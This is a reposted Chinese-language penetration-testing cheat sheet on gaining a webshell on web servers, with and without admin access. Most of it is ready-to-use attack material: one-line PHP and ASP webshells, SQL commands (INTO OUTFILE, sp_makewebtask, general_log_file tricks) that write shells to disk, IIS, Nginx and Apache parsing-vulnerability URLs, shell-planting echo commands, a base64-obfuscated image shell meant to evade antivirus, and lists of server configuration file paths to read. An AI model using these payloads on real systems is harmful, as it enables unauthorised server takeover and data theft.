文章轉(zhuǎn)發(fā)于:https://choge.top/2020/02/23/Getshell%E6%80%BB%E7%BB%93/
Getshell分為進(jìn)管理員后臺(tái)Getshell和不進(jìn)后臺(tái)Getshell,本文主要總結(jié)常見進(jìn)后臺(tái)Getshell和部分。
進(jìn)后臺(tái)Getshell
管理員后臺(tái)直接Getshell
管理員后臺(tái)直接上傳Getshell,有時(shí)候帶密碼的Webshell連接時(shí)容易被waf攔截,可以上傳不加密的Webshell如有權(quán)限限制可以嘗試管理后臺(tái)自帶的修改文件名功能在文件名前加../來穿越目錄,如上傳的文件為a.php,將a.php修改為../a.php。
后臺(tái)數(shù)據(jù)庫備份Getshell
后臺(tái)數(shù)據(jù)庫備份getshell,上傳圖片馬并獲取圖片馬路徑,通過數(shù)據(jù)庫備份修改后綴名,如有后綴名無法修改或路徑無法修改限制可修改前端代碼繞過,當(dāng)所備份的數(shù)據(jù)庫來源無法修改時(shí),我們可以通過首先將一句話木馬寫入數(shù)據(jù)庫,比如通過新建管理員用戶,將用戶名用一句話木馬代替(用戶名通常有長(zhǎng)度限制,在前端修改maxlength即可),<%eval request ("pass")%>然后再通過備份數(shù)據(jù)庫后訪問此界面Getshell。
修改網(wǎng)站上傳類型Getshell
修改網(wǎng)站上傳類型,后臺(tái)設(shè)置中添加aasps|asp|php|jsp|aspx|asa|cer,保存后上傳aasps文件,上傳后為asp文件可以解析Getshll
上傳其他腳本類型Getshell
一臺(tái)服務(wù)器有多個(gè)站,如a網(wǎng)站為asp腳本,b網(wǎng)站為php腳本,而a中限制了上傳文件類型為asp的文件,此時(shí)可以上傳php的腳本,來拿shell;也可以嘗試腳本文件后綴名改為asa或者在后面直接加個(gè).如xx.asp.來突破文件類型限制進(jìn)行上傳來Getshell
解析漏洞Getshell
IIS6.0解析漏洞
http://www.xxx.com/xx.asp/xx.jpg
http://www.xxx.com/xx.asp/xx.txt
http://www.xxx.com/xx.asp/xx.asp;jpg
IIS7.0/7.5,Nginx<8.0解析漏洞
http://www.xxx.com/xx.jpg/.php
Nginx<8.03空字節(jié)代碼執(zhí)行漏洞
版本范圍:Nginx0.5,0.6,0.7<=0.7.65,0.8<=0.8.37
http://www.xxx.com/xx.jpg%00.php
Apache解析漏洞
http://www.xxx.com/xx.php.owf.rar逆向解析,直到能解析出php為止
CVE-2013-4547Nginx解析漏洞
http://www.xxx.com/xx.jpg(非編碼空格)\0.php
編輯器漏洞
詳見http://www.itdecent.cn/p/6ff75f384b25
網(wǎng)站配置插馬Getshell
進(jìn)入后臺(tái)后,網(wǎng)站配置插馬getshell,可以找到源碼本地搭建,插入時(shí)注意與源碼閉合,如果插入出錯(cuò)可能導(dǎo)致網(wǎng)站報(bào)廢。如asp中單引號(hào)表示單行注釋作用"%><%eval request("v01cano")%><%'
編輯器模板Getshell
通過網(wǎng)站的模板編寫一句話,然后生成腳本文件getshell通過將木馬添加到壓縮文件,把名字改為網(wǎng)站的模板類型,上傳到服務(wù)器,getshell。(新建或修改目錄名為xx.asp/此目錄下的jsp,html會(huì)以asp執(zhí)行,iis6.0的解析漏洞)
修改腳本文件Getshell
修改后臺(tái)腳本文件插入一句話直接Getshell,盡量插在頭和尾。
上傳插件、更新頁面Getshell
wordpress,dz等,如編輯wordpress404頁面插入一句話,可以先下載對(duì)應(yīng)版本找到404路徑,部分OA上傳插件Getshell, jboss,tomcat上傳war包getshell等
執(zhí)行sql語句寫入Webshell
首先執(zhí)行錯(cuò)誤的sql語句,使其暴露出網(wǎng)站的根目錄,以ecshop為例,進(jìn)入后臺(tái)執(zhí)行sql查詢select "<?php phpinfo();?>" into outfile "C:\\vulcms\\ecshopv3.6\\ecshop\\v01cano.php";關(guān)于此語句說明,在windows中有時(shí)候需要使用斜杠/有時(shí)候需要使用雙反斜杠\末尾有時(shí)候需要分號(hào),有時(shí)候也不需要分號(hào)。也可以先將一句話通過ecshop的新建管理員寫入到user表中,然后通過數(shù)據(jù)庫備份配合解析漏洞Getshell。
命令執(zhí)行Getshell
Windows
echo ^<^?php @eval($_POST[C0cho]);?^>^ >c:\1.php
Linux
echo -e "<?php @assert(\$_POST[C0cho])?>" > 1.php
Linux需要在$前加\進(jìn)行防轉(zhuǎn)義,Windows需要在<前加^防轉(zhuǎn)義,Windows和Linux中的 “可以使用’或不使用進(jìn)行嘗試。
文件包含Getshell
文件包含有時(shí)可繞過waf
asp包含
include file="123.jpg"調(diào)用的文件必須和被調(diào)用的文件在同一目錄,否則找不到,如果不在同一目錄,用下面語句也使用如下代碼include virtual="文件所在目錄/123.jpg"
php包含
<?php
include('123.jpg')
?>
使用php://input
使用burpsuite截取數(shù)據(jù)包,并修改內(nèi)容轉(zhuǎn)發(fā)(還可以使用hackbar工具中的post data中輸入<?php fputs(fopen("shell1.php","w"),'1111<?php @assert($_POST[xss])?>2222')?>等一句話木馬)



數(shù)據(jù)庫命令執(zhí)行Getshell
Access導(dǎo)出
Access可導(dǎo)出xxx等文件需要配合解析漏洞
create table cmd (a varchar(50));
insert into cmd (a) values ('一句話木馬') #一句話木馬如:<%execute request(1)%>
select * into [a] in 'e:\web\webshellcc\1.asa;x.xls' 'excel 4.0;' from cmd
drop table cmd
菜刀直連http://www.webshell.cc/1.asa;x.xls
Sqlserver導(dǎo)出
exec sp_makewebtask 'C:\test1.php','select "<%eval request("pass")%>" '--
Mysql導(dǎo)出
方式一
create TABLE xiaoma (xiaoma1 text NOT NULL);
insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma]);?>');
select xiaoma1 from xiaoma into outfile 'D:/phpstudy/www/7.php';
drop TABLE IF EXISTS xiaoma;
方式二
select "<?php eval($_POST[v01cano]);?>" into outfile 'D:/phpstudy/www/a.php'
方式三
當(dāng)數(shù)據(jù)庫路徑位置時(shí)Getshell
//創(chuàng)建表a,并且將httpd.conf寫入到表a中
create table a(a text);load data infile "C:/phpStudy/Apache/conf/httpd.conf
然后執(zhí)行導(dǎo)出操作,將該文件下載,使用notepad++打開,最后搜索documentroot,即可找到網(wǎng)站的根目錄:

文件可能存在的一些路徑:
# Windows
c:\windows\php.ini # php配置文件
c:\windows\system32\inetsrv\MetaBase.xml # IIS虛擬主機(jī)配置文件
# Linux
/etc/php.ini # php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf # Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/mysql
/user/local/httpd/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf # 虛擬目錄配置文件
/user/local/nginx/conf/httpd.conf # Nginx配置文件
方式四
通過load_file函數(shù)直接加載該文件內(nèi)容
select load_file('C:/phpStudy/Apache/conf/httpd.conf');
同時(shí)需要做如下配置:


方式五
general_log_file方法獲取Webshell
show global variables like 'secure%'顯示secure_file_priv的值為NULL,不能利用into outfile寫木馬getshell。
show global variables like "%genera%"; #查看genera文件配置情況
set global general_log = off; #關(guān)閉general_log
set global general_log = 'on'; #如果general_log關(guān)閉需要開啟
set global general_log_file = 'D:/www/web/shell.php'
方式六
可執(zhí)行命令方式
select '<?php echo \'<pre>\'; system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/shell.php'
使用方法
www.xxx.com/shell.php?cmd=ipconfig #cmd=后面加命令
方式七
過殺毒軟件方式
上傳圖片馬c.jpg,圖片馬內(nèi)容如下:
<?php$a = 'PD9waHAgQGV2YWwoJF9QT1NUWydjJ10pO2RtdSgpOz8+'; error_reporting(0); @set_time_limit(0); eval("?>".base64_decode($a));?>
導(dǎo)出Webshell
select '<?php include 'c.jpg'?>' INTO OUTFILE 'D:/work/www/shell.php'
方式八
直接導(dǎo)出加密Webshell
select unhex('加密代碼') into dumpfile 'D:/www/web/shell.php'
不進(jìn)后臺(tái)Getshell
0day Getshell
各類OA,coremail,cms,php框架,數(shù)據(jù)庫,java框架等0day,1day,nday Getshell
寫入日志Getshell
獲取日志路徑,在訪問過程中在url或者其他位置寫入<?php eval($_POST[c]);?>等信息,使其日志記錄此代碼,然后訪問日志路徑,菜刀連接Getshell,如phpinfo();中能查看到error.log和access.log的路徑。
IIS/Tomcat寫權(quán)限Getshell
IIS6.0,put協(xié)議上傳手工或工具,批量掃描工具:iis put scaner,寫權(quán)限利用:桂林老兵
Tomcat put上傳CVE-2017-12615工具Github上可以找到。
上傳漏洞Getshell
https://choge.top/2020/02/24/upload-labs%E8%AE%B0%E5%BD%95/
上傳會(huì)員頭像Getshell
將Webshell放入文件夾,然后壓縮成zip文件。上傳正常頭像抓包將圖片文件內(nèi)容刪除,burp右鍵選擇文件黏貼功能,將zip包內(nèi)容復(fù)制到burp中的圖片內(nèi)容,放行后菜刀連接圖片上傳路徑下的文件夾(zip壓縮包名)下的Webshell
MSsql注入漏洞Getshell
https://choge.top/2020/03/19/MsSQL%E6%B3%A8%E5%85%A5/
遠(yuǎn)程命令執(zhí)行
Linux/Windows反彈shell,腳本語言、powershell反彈shell,Kali/Cobalt Strike等各種上線方法
其他漏洞Getshell
XXE,SSRF,反序列化,strust2等一種或多種組合利用Getshell